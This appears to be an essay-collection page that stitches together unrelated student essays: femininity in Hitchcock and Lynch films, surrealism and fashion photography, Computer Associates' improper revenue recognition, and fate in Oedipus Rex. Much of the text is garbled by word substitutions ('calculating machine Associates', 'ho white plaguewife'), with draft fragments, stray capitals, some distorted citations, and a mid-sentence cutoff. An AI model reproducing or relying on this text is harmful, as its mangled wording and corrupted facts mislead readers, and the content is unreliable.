History Of sexual activity In comparison In Movies Film Studies EssayThe classic Hitchcockian adult female frame a staple compute of glamorous femininity at bottom Hesperian culture a depiction of femininity which has survived various waves of feminism, Betty Friedans condemnation of The effeminate Mystique (1963) and Naomi Wolfs revelation of The Beauty Myth (1991). Despite these attempts to eradicate such(prenominal) depictions of constructed womanhood, the Hitchcock platinum-blonde check outms to hang in forever in vogue, consistently seeing a revival within visual media, both in the picture and within spurt editorials and advertising. The event body that this version of Woman remains steadfast within the culture conscious, upheld as the pinnacle of class, elegance and demure femininity.The dominating and controlling powers of the existing patriarchal culture system has taked, promoted and perpetuated the idea of this previously discussed idyllic femininity. Desp ite the proposeed modern progressions in gender equality, inevitably, it must be unsounded that this version of passive femininity is glamorised simply as it promotes a to a greater extent manageable version of woman for masculinity. It seems ludicrous however, that passive femininity is so thoroughly promoted within modern visual culture, openly focusing upon aesthetics which characterise the Hitchcock Blonde, piece of music seemingly choosing to forgo the consideration of what these iconic representations in truth communicate. There is a consistent re-emergence of this sort of glamorisation within agency and advertising (Fig. 1 4), serving only as a unbroken re-communication of its desirability, seemingly ignoring the fact that this also glamorises the kind of ideology denotative in these films as well as the style. In essence, these images of woman, promoted in contemporary times, seems super regressive, as alone they can inevitably communicate is an era of woman that i s constantly depicted as subdued by man while plagued by the feminine mystique, in the end demoralised and trapped within their domesticity. A time when, as Friedan discusses, women were defined only in sexual coitus to men mans wife, sex object, mother, ho white plaguewife and never as persons defining themselves by their avow actions in society.In the twenty first century, however, there exists a general consensus that this kind of gender inequality is a thing of the past, very a problem for a long forgotten era. Yet, the earth remains that while progress has certainly been made towards a much convinced(p) outlook for femininity under patriarchy, progress has been severely overestimated by the media, allowing the frontage of equality and demonstrative exhibitions of gender equality in the manoeuver abode to permit this belief in substantial developments. For example, while women may like a shot have a more(prenominal) substantial put within the body of take a shi tforce, the fact remains that behind the headline figures of near equality of participation, there remain major discordences in the employment conditions and pay of women and men, ultimately highlighting the remnants of this belatedly seated belief in a gender hierarchy, of passivity and dominance. while there may exist this facade of equality, seemingly functioning in order to placate society, the ideology which creates this unequal environment remains in action. This lack of evident progression within media representation seems to highlight what legion(predicate) a(prenominal) third wave libbers or post feminism movements have expressed that this lack of significant results is the cause for a decrease in the optimism and high-mindedness which seemed to characterise the feminist movements of the 1970s. Far from seeing this as perhaps position for the current state of feminism, it could be argued to, instead, be a positive progression. Judith Stacey, interviewing the second-wa ve feminists and their daughters, ready that this new generation of feminism did not want to continue the effort of anger and political protests. An opinion which seems to be the current assessment, as the observations of Alice Rossi, with her studies of the feminist movement over the past hundred years, reveals the desire to see a change in how feminist values are acted out.This seems to suggest that movement towards a more post feminist barbel to equality, feature with a more postmodern approach to media representations seems to be the way in which progression can be made. A dramatic reorganisation of a figural system would certainly be both too radix and inconceivable, but adhering to more postmodern ideas surrounding complicity would perhaps provide more progressive results. Linda Hutcheon, literary theorist and postmodernist, believes that the combination of both complicity with dominant representational strategies and critique is what characteristically defines a work as postmodern. Essentially suggesting that the dish out of working within the cinema system, utilising the existing codes and conventions which have been responsible for publicising and perpetuating this image of passive femininity, to that degree producing work which suggests the possibility for a re-evaluation of the ruling ideology.The use of a more postmodern approach to progression is certainly more appealing, reinforced by the ways in which Hutcheon discusses howcontemporary artists engage with the systems of the media and the market with strategies of subversive complicity, by which she means the ability to operate within dominate codes of representation while at the same time questioning them.Considering this in the context of a more progressive cinema system, postmodernism would function by utilising the position as an insider, operating many usual codes and conventions, yet ultimately working to de-toxify existing cultural conventions, the givens that go without saying within narrative, mainstream cinema. Presenting the possibility of providing the feminist cause with a way in which to resist or shorten oppressive ideologies from within the system which has been responsible for creating them.While not all postmodern work may utilise this process of depravity finished complicity, there is certainly an argument for its use in the cause of progressing equality within cinema narratives for women.Perhaps the best example of such subversion within cinema lays with the work of director David Lynch. Fittingly, his Hitchcockian influence is demonstrable with his obvious addressal of of film noir aesthetics as well as with his implimation of HITCHOCKIAN THEMES SUCH AS VOEYIRSM, PSYCHOLOGY HIS INTENTIONS ARE OBVIOUSLT ALWAYS TO SUBVERT THE DOMINANT ORDER OF filmWhile he may not specifically have such aims, the work of Lynch can be argued to showcase a manageable development towards a more agreeable cinematic depictions or messages which differ from the dominant order. While Lynch may adhere to many typic conventions of cinema (often passive women, voyeurism, dominance, violence etc) women are not alone in their degradation within Lynchs narratives.Postmodernism? while not all postmodern work may utilise this theory or complicity in order to create change, there is certainly an argument for the success of such an approach.Such an approach seems useful for the cause of feminism, allowing cinema, to not be utterly deconstructed and reconstructed, but instead, provided subverted.Perhaps one of the most notable examples of this kind of subversion is the work of David Lynch. His work complies to the general rules of cinema, presentingTypical cinematic depictions? Women and men? Narrative? notwithstanding at the same time, causing spectators to witness a narrative which subverts what mainstream cinema has caused them to give birth.Considering this idea of postmodernism within cinema, the discussion of director David Lynch is extreme ly useful. primarily considered a surrealist and significantly influenced by Hitchcockian film noir motifs and visual styles, Lynchs narratives adhere to many cinematic conventions, yet subverts the usual message which audiences have come to expect through constant exposure to mainstream cinema. There, for instance, exists a notable lack of the stigma which characterises Hitchcocks work, as Lynch instead practices what Zizek refers to a as extraneation the decomposition of ingenuousness in such a way as to expose the reverie and real elements that constitute it.Essentially, lynch utlisies cinemas abibilty for creating fantasies and entertainment, yet seems to utilise it in a way which creates an unnerving effect.This extraneation presenting fiction, while causing us to consider the reality that formed it.However, it is precisely in this way, Zizek argues, that Lynch achieves what he calls the ridiculous sublime. On the one hand we have the flimsy, absurd symbolic and next to it we vex the real, abominable Thing. In a way quite different from Hitchcock, yet with a certain kinship with him, Lynch has exposed the mechanism of sublimation without entirely dispensing with it.Against the ideology of psychologically convincing characters, Zizek favors Lynchs extraneation of the characters, the effects of which are strangely de-realized or de-psychologised persons. There is a rule to Lynchs madness, so to speak. The psychological unity of the characters disintegrates into a spiritual transubstantiation of common cliches, as Zizek calls it here, and into outbursts of the brutal Real, with reality and its fantasmatic paraphernalia acting side by side, as though existing on the same surface. Ultimately, Zizeks reading of Lynch, and by extension Lynchs fim itself, is profoundly political. Their common method is the opposite of obscurantism or pastiche of arcane topics. Both in their own way provide proof that our fantasies support our sense of reality, and that th is is in bout a defence against the Real. Together with their sublime thought, both Lynch and Zizek are profoundly entertaining through their ridiculous art.Pg.6Firstly, Zizeks observation that extraneation in Lynchs work has a magic redemptive quality is ecvhoed in Jungs theory of intelligence and unconscious(p) Only in an interplay of consciousness and the unconscious can the unconscious prove its value, and perhaps even show a way to crucify the melancholy of the void. If the unconscious, once in action, is left to itself, there is a put on the line that its contents will become overpowering or will endorse their negative, destructive side (Jaffe. Pg.297) This interplay can be directly observed in the style of all three films, especially where the distinction between unreal but real images and dreams as fantasy images are blurred. Pg22 We Live privileged a Dream The Function and Origins of Dreams in David Lynchs Blue Velvet, Twin Peaks set up Walk with Me and Lost Highwa y

Surrealism in Art and Photography

Sur actu altogetheryism in Art and moving-picture showyA fundamental problem for elegant guile spr tabuers is to distinguish themselves from this morras of photographic folklore, almosthow to separate themselves from every(prenominal) these common men who know how to permit pictures with photographic cameras, and to convince us all that what they do is special. (Christopherson, 1974) The aim of this rationale is to determine my professional practice within the historical and theoretical contexts seekd during my university studies. This es conjecture entrust deal with establishing the item that fake photography does non stir to be just about expression by emphasizing the contrivance in my worlds and consequently creating ok blind photography. The st inventioning signal sectionalisation of this outline exit examine the temper of photography which has become the medium of my practice. Second p contrivancework consists of consequent research on fashion photogra phy and sequent analysis and discussion. In dress to link it with art, the background of Surrealism will be establishly outlined. The final analysis will con attituder key features of my practice. Can be afashion photography considered as atrue art form? What theories, quotations or articles ar in commensurateness with this subject involvement? What ar characteristics of art photography? look into has shown that photography was born in ogdoadeen thirty nine and is regarded as everyday medium that communicates impression optically. Roland Barthes (1980) defined photograph as aid which help us to be informed about the organismness. Furthermore, peerless should non forget the Susan Sontags theory take in pictures as you travel what redes that collecting the photographs means collecting the world. (Susan Sonntag, 1977) Charles Baudelaire (1859) suggests that photography impersonate the stupidity of masses, whereas P.H. Emerson claimed that photography was an independen t and potentially great art from resourceful of expressing thoughts and emotions beyond the scope of the different and older art forms. (P.H. Emerson, 1975) In agreement with Emerson, this contemporaneous medium embodies the way of expressing ideas, expressing myself within my practice. Photography is more than a medium for detailual communication of ideas. It is a creative art . (Ansell Adams, 1952) The enquire whether photography can be considered as an art has been discussed especially in sixties and seventies. It has been found out that in 19 sixty eight was born the relationship between photography and art. In a Grundergs opinion, it has all started when photographers regarded photography as an art form and simultaneously artists have authoritative camera in their practice. (Grundberg, 1987) On the superstar hand, at that place were artists who thought that camera is repressing vision. On the other hand, some of them believe photograph is purely allegoryic. In agreem ent with the second statement, it has been found out that photographs symbolize the metaphor for artists pay back. In other words, it serves the shoot for of visualizing artists ideas. In a view of these accompaniments, it is quite an likely that if the art is about self-expression than the photograph which is utilizationd for expressing emotions, ideas or attitudes, inhering be regarded as an art form. The outgrowth person in biography who wrote about photography as art was P.H. Emerson, British photographer and writer. He preferred aesthetic and emotional side of the image rather than the subject. perhaps we should stop out the fact that between xix seventy and nineteen ninety photographs has been equipollent with other contemporary arts. Which art cause has affected the schooling of a photograph and is in like manner significant within my practice? It has been Surrealism, art movement that came into universe in nineteen twenty four in Paris with leader Andre Bret on. It may be true that surrealist group was the roughly controversial entirely on the other hand their expressions were positive and optimistic.To explore the voice of their inner selves, they focus on imagination, mysticism, aspirations and mediation. This unreal art movement and photograph as a medium of realism seem to be totally different. bit Ray, American artist who has been considered as representative surrealist photographer had been interested in photography because of personal increment. His theory which suggests that photography emphasizes visual sphere between forms is could be in agreement with considering photography as art form. He has as well as contrisolelyed by invention of photographic technique of solarisation. Although it may be true that Surrealism has had impact on a photograph, the some crucial point made so far is that it has significantly inspirited the development and character of fashion photography. It would be unfair not to mention the fact th at Man Rays surreal photographs breathed new living into fashion photography. What is the nature of fashion photography and what is its connection with art? History of fashion is attached with photos by Baron Adolph de Meyer who published them in nineteen nine for magazine publisher Vogue however the relationship between art and fashion is acknowledge from renaissance. Anne Hollander (1994) claimed that fashion is art because it is capable of creating comp permite figural images mentally real and modern. She in any case states that as artists turn to fashion, cloth designer turn to the fine art in order to explore the connection between fine and employ art, a scent out of pure form and a sense of design to use. In a record entitled Fashion scheme, Rosetta Brookes makes the point that You could say a painting is designed to go on the wall, but if it was made as fresco, where it was part of the wall, would you say it was not art because it was practical? (Rosetta Brookes, 19 92) The question whether fashion can be consider as art is questionable and criticised, however these arguments seem to confirm that idea. Fashion does not have to be something good deal wear, fashion is as well as an image. (Viktor and Rolf, 1999)Some critics suggest that fashion photography is just about depicting garments or models without each context behind it. It is questionable whether all kinds of fashion photographs are the same, or if there are artists whose images are portraying art with strong tasty context behind it. In this case it is distinguished to highlight and break function of surrealist fashion photographers and adjoind theories of critics. Rosetta Brookes (1992) has stated that fashion photographers have to grip the moment where the real world reproduced itself. She wrote on fashion photographer Helmut normality that his fashion images are embodied in the dualism o the world itself. Judith Clarke (1998) discussed work of surrealist fashion photographe r Erwin Blumenfeld who obviously removed fashion photograph from commercial form to its origins art. To support mentioned arguments it is worth stating that Metaphor and meaning of fashion were at the heart of surrealist visual language. (Richard Martin, 1987) It has also been found out that fashion represents for surrealist light from ordinary to extraordinary. The radical change within fashion photography happened when Adolf de Meyer join on shimmer into his images which embodied artistic photographs. This approach has removed the presentation of garment. accordingly it has evoked expressing of emotions. Martin Mukacsi (1933), Hungarian photographer who has transformed the course of fashion photograph when he blurred his photograph. The aim of photograph was to run woman and let her apply it on her life. According to Roland Barthes (1983), three fashion styles exist. While the first one is objective, second one is more romantic with dream-like subdivisions. The last one is re presented as caricature. In agreement with Barthes, all of these specific fashion styles signified unreal. On reflection, it seems more accurate to say that there are lots of facts and theories underpinning the subject press. The fact, that photograph is medium appropriate for expressing ideas and that for artists influenced by surrealism it embodies the escape valve from reality, is important statement not completely for the subject matter but also for my professional practice.What are the features of Surrealism and other key aspects which are inseparable within the context of my work? The first thing that needs to be said is work of surrealists consist of dream-like elements. Additionally, the lecture on psychoanalysis let me to research Sigmund Freud and subsequently his book Interpretation of Dreams. In this book he suggests that all dreams derive from our experience and that is the reason why they are reproduced in our dreams. He is also describing the connection between co ntent of dreams and waking life where he suggests that waking thoughts appear in dreams only when they are pushed to one side by thinking activity of the day. (Sigmund Freud, 1913) It is important to add that elements of dream-like representations are abounding in paintings of David Schell. Within my practice, there has been noticeable interest in interpretation of dreams in general. To illustrate this point, here are some examples of dream quotations that have inspirited my creating. There is nothing like a dream to make up the future. (Victor Hugo, 1802-1885) To accomplish great things, we must not only act, but also dream not only plan, but also believe. (Anatole France, 1884-1924) You may say Im a dreamer, but Im not the only one, I hope someday you will join us, and the world will live as one. (John Lennon, 1940-1980) another(prenominal) characteristic feature of surrealistic movement is unreal fantasy world. At this point is necessary to emphasize the influence of theorist Je an Baudrillard and his book called Simulacra and Simulations. Basically, he negates the reality as we usually understand it and suggest that world we live in have been replaced by simulations of the real-a copy world. According to Baudrillard, the senseless reality of Disneyland is presented as imaginary to make good deal believe all surroundings are real.The best example to understand the theory is observance the news on television of two people having an accident. He states that experience of the man and woman who were directly involved with the affair are the only ones to experience the reality and to anyone else it is just simulation. (Jean Baudrillard, 1981) Inspirited by his theory, the subject of my work is to pull in the hyper real world for security guards while playacting in my photograph experiencing the real world. In other words, the subject of my work which may not be noticeable is to take the viewer beyond reality. The argument being put forward here is similar to quote of Bert P. Krages (2005) Knowing frame in your subject is useful even if that knowledge does not seem to relate directly to the visual aspects of what you are trying to photograph. It worth stating at this point that there is another aspect of my work emerging. It is a well-known fact that the woman as an object has been representing by many artists, especially surrealists and fashion photographers. Women embodied muse for artists as Man Ray or Edgar Degas. Research has shown that Edgar Degas was French impressionist who is noteworthy as the master of design the human figure in motion. His favourite theme was women who were captured in their activities. Man Ray also found his motivation in women and is best-known for his new wave photography. His images provide the viewer far more differences than similarities of original model. Besides these artists it is essential to mention the influence of lecture called Human Body in film and Photograph where this subject has bee n discussed and analysed. After two years of creating, this subject matter within my practice has been transformed into performance.Performance art came into being in nineteen sixty in United States and has been representing visual artists. By nineteen seventy it was already acknowledged as global term and regarded as art. There is plenty of performance artists therefore it is compulsory to focus on artist with the greatest impact. It has been Marina Abramovic who is regarded as grandmother of performance and also Jemima Stehli who creates self-portraits by using a mirror. However, the most influential artist in concomitant to this topic is Cindy Sherman. Her personality has had important impact on photography as well as on my own self-directed practice. Her personality is celebrated as one of the most influential and respected American photographers in the twentieth century. Using designer cloths she was trying to point out contemporary problems of modern age and investigate ideas and images of female in media, society and nature of the conception of art. Andrew Sargus Klein (2006) claimed that Sherman endeavour to erase the notion of the voyeuristic photographer- instead, the observer is the viewer. Although some critics believe that her images are just self-portraits, however her quotation is in inequality with this statement I am trying to make other people recognize something of themselves rather than me. (Cindy Sherman, 1982) Patty Chang (2000) states that performance art and photography are opposites, but both define a non-ordinary space by establishing parameters on it- a space that depends on the observer to make it come alive. To think this part, it is myself performing in my photographs. The aim is not to present myself, but to present my ideas through photographic medium. The performance feature provides me the sense of freedom in what I do and what I want to depict. It symbolizes the pure pleasance of playing, acting by using my body as non-com mercial silhouette. The persona of the performance element is to express myself, my ideas and be the one who is manipulating the viewer and who is trying to communicate with audience. However, influenced by Cindy Shermans thinking, the endeavour of my work is not to recognize something about myself, but to let people discover something about them. Not only has performance art originated in nineteen sixty, but also Psychedelic art. It is undeniable that hallucinations, fast ones and imagination illustrate key features of surrealists. Edmund Critchley (1987) suggests that hallucinations are obvious in psychical illnesses but can also be experienced by normal people and became source of inspiration for art.It is generally known that Salvador Dali, the most surrealist from other surrealists, has applied in his art making hallucinatory features what caused the fact that his art was touchy to understand. Not only hallucinatory features are important for my practice, but also illusions and imagination. According to Edmund Critchely (1987) illusions, the conscious and unconscious of the form of stimuli provide much of unlooked-for in art. An alternative approach might be quotation of Sigmund Freud (1927) Illusions commented themselves to us because they save us pain and allow us enjoy joyousness instead. We must therefore accept it without complaint when they sometimes collide with a bit of reality against which they are dashed to pieces. Apart from hallucinations and illusions, imagination is also important within the subject matter and my practice. It is a well-known fact that surrealists style uses visual imagery from subconscious mind to create art without the intention of logical comprehensibility. An alternative explanation might be that they have rather used their imagination. We would even go so far as to say that Albert Einsteins (1879-1955) quotation Logic will get you from A to B. desire will take you everywhere- in other words, imagination is more im portant than knowledge- is in agreement with this argument. To sum up information stated above, the purpose of using hallucinatory feature and illusions is simple- the aim is to offer a pleasure to viewer and experience something scrupulously honest. As mentioned above, psychedelic art came into being in nineteen sixty and represents attitudes of underground sub-culture. Steven Heller (2010) claimed that psychedelic art was language used as a code for a basal generation. The features of this art are mainly bright vivid colours and surreal sense which have been manifested within art, fashion and music. The most essential fact contextualizing my practice is using contrasting beautiful colours for purpose of transporting the viewer into fantasy world. In addition to colours, colour theory and specific psychological meaning of single colour. It has been found out that colour is sensed by eye, however the perception of it takes place in mind and it serves sense of illusion and distance. By using different shades and tones at different images, the purpose of the colour is to evoke emotion while looking at piece of work. Therefore I agree with quotation of Pablo Picasso (1881-1973) Colours, like features, follow the changes of the emotions. Which other features are significant for surrealistic creating? In addition to illusion, it has been found out that many surrealist but also fashion photographers have used mirrors or mirror effects in order to mystify the viewer. My early influence originated from pieces of Gilbert and George, contemporary controversial artists. The effect of mirroring is result of digital economic consumption of the image. Works of the most contemporary fashion photographer, David LaChapelle has astonished me because of undetectable treatment. He is also applying surreal feature and narrative within his creating. However, the digital role is not the only aspect within existing process of my works. Firstly, there is a need of finding a place which seems appropriate and first of all, interesting. Most of the time, damaged and messy localities are investigating in order to use their complex composition when creating unreal world and transforming them into fantasy landscape. beta fact to highlight is that the place is never staged however it is endlessly in its natural-found condition. Secondly, the appropriate dress, accessories, entire appearance, pose and mood have to be chosen. Finally, there is another aspect of composing the eventual shoot and also managing the right angels and camera settings. With the help of tripod or an assistant is the picture interpreted and consequently edited. Although the picture is taken, it is not the end of a process at all. Certainly, it can be said that my work is process based. The other side of the coin is, however, that it can also be argued that it is based on digital manipulation of an image. Nevertheless, the manipulation consists of changing colours slightly and sometimes it co nsists of the use of mirror effect. These arguments suggest that the work is processed based where the digital manipulation of image is becoming a part of the process.

A Letter From Prison Accounting Essay

A Letter From Prison invoice Essay calculating machine Associates International, Inc. (CA) is a softw be phoner which sells softwargon products for business. In the case, according to the Gener onlyy real Accounting Principles, revenue enhancements for the software licensing should be know once a hire was signed, the software was delivered, and payment was reasonably as reald. In data processor Associates, when the revenue credit rating principles were met, it recognized the whole respect of the licensing revenues quarterly. However, from the fourth quarter of the fiscal class 1988 to the second quarter of the fiscal year 2001, calculating machine Associates has backdated some contracts and al minors it accountants to tape these contracts in the present pecuniary statements. In accordance with the Generally authoritative Accounting Principles, these contracts should be recognized in the next quarter. The future revenues which be possessed of enter in the present pec uniary statements exact to the racyer give the sack in act and return on enthronements currently. What computer Associates does is in the violation of the Generally veritable Accounting Principles. What computing machine Associates puzzles done is a kind of honourable elitism and ethical parochialism. Ethical elitism delegacy that it is signifi elicitt to maximize the interest of the top point or the elite no matter what to scarify and the ethical parochialism refers to that it is in-chief(postnominal) to protect the interests of the individuals in-group. The executives of computer Associates take their effort to recognize the revenues against the Generally evaluate Accounting Principles in inn to protect the account of the fraternity and picture the analysts friendship and dissemble the investors confident to the go with. However, the investors and shareholders bay windownot obtain a good finality by using the improper financial statements.In the case, as the condition senior manager of the calculating machine Associates, Richards try to defense against the crime which makes him in jail. Richards considers that Computer Associates lacks of the training to justify whether the report operation in Computer Associates is sub judice or not. As to him, it is not a big plenteousness for doing this and it is just a timing issue in the revenue recognition. Nevertheless, the revenue recognition in Computer Associates is against the Generally veritable Accounting Principles. Computer Associates recorded the future revenue in the current financial statements to make the company seems to be profitable. The main function of the financial statements is to show how the company sees and offer the information round the company to the managers and investors. The financial statements are the tools in helping the managers and investors to make the decision. Computer Associates cloud the investors and shareholders about its accurate gross sales revenues indoors the current quarter. By using the inaccurate financial statements, strategies and enthronization are made in reprobately.From the Exhibit 4 in the case, the percentages that properly recorded revenue was inflated by improperly accelerated revenue in every quarter from 2000 to 20001 were all above 10%. Moreover, at that place are large differences between the announced EPS and EPS without improperly recognized revenue in every quarter from 2000 to 2001. The announced EPS were much higher than the EPS without improperly recognized revenue. Comparing to the analyst EPS foreshadowd, Computer Associates cannot reach the analyst EPS estimated without improperly recognized revenue which is mentioned before. In order to make the financial statements more(prenominal) profitable, Computer Associates character the improper recognized revenue method to make the company seem more profitable. It is unethical for Computer Associates to drop allowed accounting tractabilit y for its revenue recognition.What is accounting flexibility? Accounting flexibility refers to the process that the accountants use their knowledge of accounting rules and standards to talk through ones hat the figures in the financial statement in order to get through some specific purposes. It is about the transformation of the figures in the financial reports from actual figures to the figure which were needed by the preparers, by fetching the advantages of the accounting rules and standards. (Naser, 1993). It can help the management to manage the reported figures to be higher or freeze off. Examples of accounting standards which can use accounting flexibility are as followThe revaluation of the assets. While in estimation of the assets current rank through the depreciation, the estimations are usually made at bottom the business. It is subjective for the company to estimate the measure out of the assets. The management has the opportunity to estimate the nourish on the s ide of caution or optimism. When doing the estimation in the value of the assets, it refers to the change of the assets, depreciation expenses and the impairment losses. therefore, the measurement of the assets and income change.The fair value recognition of the image asset. According to IASB, fair value is defined as the market-based value. It means that the fair value of the plan asset is on the substructure of the market transaction. it can be manipulated. When changing the fair value of the plan asset, changes will be recorded in the financial statements.Q2. Richards mentions how difficult it is to operate in the grey areas of accounting and indicated that he might have benefitted from more guidance from senior management. Critically indicate who in a listed riotous is responsible for the content of the final accounting reports.Corporate cheek is the processes, structures and information which use for coordinating the relations in the management of the can. It guarantees t he efficiency and the right for the mechanism in the corporation to protect the interests of the shareholders. Good corporate governance can help the company to create good corporation culture. The corporation culture creates through the process of the management practices and values which directly come from corporate governance.As in the company, the responsibilities of the major office holders are as followImplementing the strategy of the company to make the company operation in the healthy way.Advising the board about the structures of the company and making sure the pure tone and the criterion of the staff in the company.Providing the accurate information about the company to the board and making the proper prediction for the company.Preparing the accurate financial statements within the Generally Gccepted Accounting PrinciplesIn the company, the management should take the responsibility for the accounting reports which is in accordance with the IFRS adopted in Australia. The management should make sure the financial statements are fairly present the financial position and performances of the company. In addition, management must guarantee the financial statements with the accounting standards and prevent them to existence fraud. In IFRS 8, management must consider that the most recent pronouncements of opposite standard setting bodies that use a similar conceptual good example to develop accounting standards, separate accounting literature and accepted constancy practices. Even though accountants prepare the financial statements in company, the management determines in what ways the financial position illustrate and whether make changes in the financial statements. In conclusion, the management is responsible for the content of the final accounting reports.In Computer Associates case, as a senior manager, Richards did not take his responsibilities to correct the manipulation of the revenues in the financial statements and applied to the sales-driv en culture in Computer Associates. He paid more attention to the sales and the revenues in the company. Therefore, with the give birth of the management included Richards, the improper revenue recognition method was use in the company.As for me, possible alternatives can be taken as follow changing the accounting policies. The company can use the legal way to manipulate the revenues. For instance, Computer Associates can change the depreciation slowness and change the allocation of the research and development expenses within the Generally Accepted Accounting Principles to reduce the expenses so that the profits can be higher.Changing the time of the transactions. It is helpful for delaying the expenses and the anticipation of the income, which will avoid fighting against the fairness and the accounting standard.Changing the terms of manipulation. Within Generally Accepted Accounting Principles, some other terms relative to the profits of the company can be manipulated in legal ways. For example, the count of the doubtful debts and allowance for uncollectible accounts.Changing the closing date policy of the sales butt. As it is mentioned in the case, the customers use delaying tactics to negotiate with Computer Associates to get the better deal. colossal proportions of the contract are booked in the final week of the quarter. That makes Computer Associates hard to recognize these contract in the current menstruum and it makes Computer Associates to backdate the contracts. Changing the closing date policy of the sales target is helpful. Computer Associates can short the bound for the sales target. For example, it can be closed monthly so that the contracts can be recognized in time.Q3. Consider managements incentives and choices in their actions. What are Computer Associates motivations to manage earnings and the financial ratios as represented in the accounting statements?Internal motivationsAs Richards mentions in the letter, the company culture in the Computer Associates is a sales-driven culture. It means that the more you sell, the more commissions you can get. The culture leads the company to be aggressive in operation. The goal of the company is to make profit as it can so that it can maximize the shareholders benefits. In addition, the compensations of the executives are on the footing of the sales. The executives would have high compensations when sales associates have reached the goals. According to a study of momma Institute of Technology in 1983 by Healy, at that place is a high possibility for choosing and changing accounting procedures in a sales-driven culture with indemnity schemes. It is easily to manipulate the accounting figures to maximize the bonus awards. The study likewise that it is high incidence of voluntary changes in accounting operations in years following the adoption or modification of the bonus yield plan. In Computer Associates, it is so attractive to get the high quantity of compensations by manipulated the revenues. What is more, in Computer Associates, performance in business is a vital criterion. Non-performance is not acceptable in the business. action in non-revenue areas should be paid less attentions. In order to perform well, it is reasonable for Computer Associates to manipulate the improper revenue.External motivationsThe main reason for Computer Associates to manipulate the revenues is to meet the expectations of the market. According to the study of Kasznik and McNichols, the consequences of not meeting the expectations lead to lower future earnings, lower share price, lower market premium and penalization of the markets. Therefore, for Computer Associates, the motivations in order to meet the expectations can be conclude as followsFuture earnings. It is about the stakeholders. The Computer Associates needs to enhance its reputation in their stakeholders, such as distributors and customers. High earnings in the financial reports make the stakeholders m ore confident for the company. Therefore, the stakeholders would like to do business with the company. dish out prices. According to the study of Amat, Blake and Dowds, the accounting flexibility can help to acclivity the share prices of the company and make the company appeared to less risks for the investors. From the Exhibit 4, it is open to see that the EPS without improperly revenue recognition is much lower than the expectation. That means the market will decrease the share price for Computer Associates because of the low revenues. In order to change the situation, Computer Associates should manipulate the revenues to meet the expectations to fight down or increase the share price so that the confidence of the investors can be enhanced.The analysts. As it is mentioned in the case, investors gain information about investments from the analysts rather of the company. The main method which Analysts gather the information about the company is to take the financial reports. If the company fails to meet the expectation of the market, the analysts will doubt about the companys future earnings and the credibility. Computer Associates do not want to make the analysts feel doubtful about the companys development so that it tries to manipulate the revenues to meet the expectation of the markets.Q4. All issues related to revenue eventually affect the calculation and recognition of income. Making specific reference to the all-round(prenominal) Income Project initiated by the International Accounting Standards Board (IASB), carefully outline the concept of income that has been proposed by this project and the major issues highlighted.According to IASB, income refers to the increases in the benefits in the accounting period in the form of increases of the assets or the decreases of the liabilities which lead to the increase in equity. Comprehensive income is the changes in equity in a period of transactions and other events and circumstances from sources which ar e not owned by someone. All the changes in equity should be included in spatiotemporal income while the investment by owners and distributions to owners should be excluded. Comprehensive income is the sum of historic transaction income and unrealized fair value of the other items. For the historic transaction income, it refers to the entitys income during an accounting period which relative to the companys operation. In IFRS 13, fair value is the value which can be received when selling the assets or paying to transfer a liability in fairly transaction between knowledgeable and willingness parties. Fair value measurement defines as a market-based measurement and it is not an entity-specific measurement.Hard income refers to budgeted income that should be recognized during the operations and soft income is the actual income which recognized after the operation.In 2004, a Joint International Working Group on Performance Reporting was move overed (IASB 2004a). It is helpful in Comp rehensive Income Project to establish the standards of the comprehensive income presentation in financial reports. (IASB 2005b) Comprehensive income requires the entity to present all the items relative to income and expense during the period. One single or dickens statements are accepted. When the Accounting Handbook 2009 was released, the definition of comprehensive income was published. However, income statement was still useful. Therefore, there is a confusion that as the income statement is useful, it seems the comprehensive income approach is instead inconsistent. The comprehensive income requires all the changes in the revenues and expenses and the disclosure items haven been changed.Q5. Critically retrospect and provide an overview summary of a minimum of at least two (2) academic research papers that asses the price relevance of comprehensive income. install how this research may have influenced subsequent releases and changes in focus by the IASB.In the study of Biddle and Choi, they focused on the debate about the primaeval definition in accounting, the comprehensive income and the consideration of IASB relative to the question. In order to justify those issues, information content, predictive ability and executive compensation abridgment were used to examine. The study drew a conclusion that different definition of income makes different decisions and applications and disclosing separately comprehensive income components is useful for making decision. This study is the first-class honours degree study to examine this kind of issue.Another study which had done by Cahan, Courtenay, Gronewoller and Upton, suggested that, to some extent comprehensive income more value relevant than net income. Nevertheless, when doing the asset revaluation increments and foreign currency translation, the effect of comprehensive income was wishy-washy and there was no benefit in reporting the separate components of comprehensive income. In conclusion, as for the authors, in the comprehensive income approach, some information was useless, which lead to the comprehensive income did not really benefit the investors.As in a study of comprehensive income, Hanlon had the similar opinion with Cahan, Courtenay, Gronewoller and Upton. In Hanlons study, he mentioned the value relevance of mandated comprehensive income disclosures and discussed whether to choose reported in comprehensive income basis or reported in net income basis. He found that there is no evidence to support the value relevance which would be touched by the comprehensive income. Thus, he suggested that components of comprehensive income were not really value relevant after the controlling for the net income.From my point of view, after learning three essays above, IASB need to focus more on the uses of comprehensive income which IASB makes the entity to report. There are many differences between the different situations so that it leads to different adoptions. revenue recognitio n is quite complex. IASB should do more researches to find out whether to use the comprehensive income approach or not when facing different situations.

Ensnared by the Gods in Oedipus Rex Essay -- Oedipus the King Oedipus

Ensnared by the graven images in Oedipus Rex A citizen of Periclean capital of Greece may not have been familiar with the term entrapment, that he or she would surely have recognized the case of Oedipus as such. The tragedy of Oedipus is that he was ensnared by the gods. As Teiresias points out, I say that with those you love dress hat you live in foulest shame unconsciously (italics mine) God is continuously indicted for having caused Oedipus troubles. The let loose asks, What evil spirit leaped upon your life to your ill-luck? And Oedipus himself is substantially aware of the source of his troubles It was Apollo, friends, Apollo, that brought this resentment bitterness, my sorrows to completion. Blinded and humiliated, Oedipus thanks Creon for bringing his daughters to him God bless you for it, Creon, and may God guard you disclose on your road than he did me The Athenian consultation probably did not obsess with the unfairness of it all. Since the audience would have be en well aware of the story and its details, the draw, and the entertainment would have been seeing the storys lessons portrayed in a way that emphasized human failings, especially the illusions that we hold concerning our mastery of affairs. Oedipus himself is described as masterful, yet watching his story, which we experience so well, we find it dripping with irony at the kings every proud utterance. In his argument with Teiresias, Oedipus accuses the seer of being blur in mind and ears as well as in your eyes. Teiresias responds that Oedipus is but a poor wretch to taunt me with the very insults which every iodine soon will heap upon yourself. Oedipus is indeed convinced of his own virtue, and why not? As the play opens, the priest lavishes praise upon the k... ...ce of men reverence at least the flame that gives all life, our Lord the Sun, and do not show unveiled to him pollution such that neither land nor dedicated rain nor light of day rout out welcome. Oedipus, at the last, seems to concur in this acceptance of Gods will. When the Chorus suggests he would be better dead than blind and 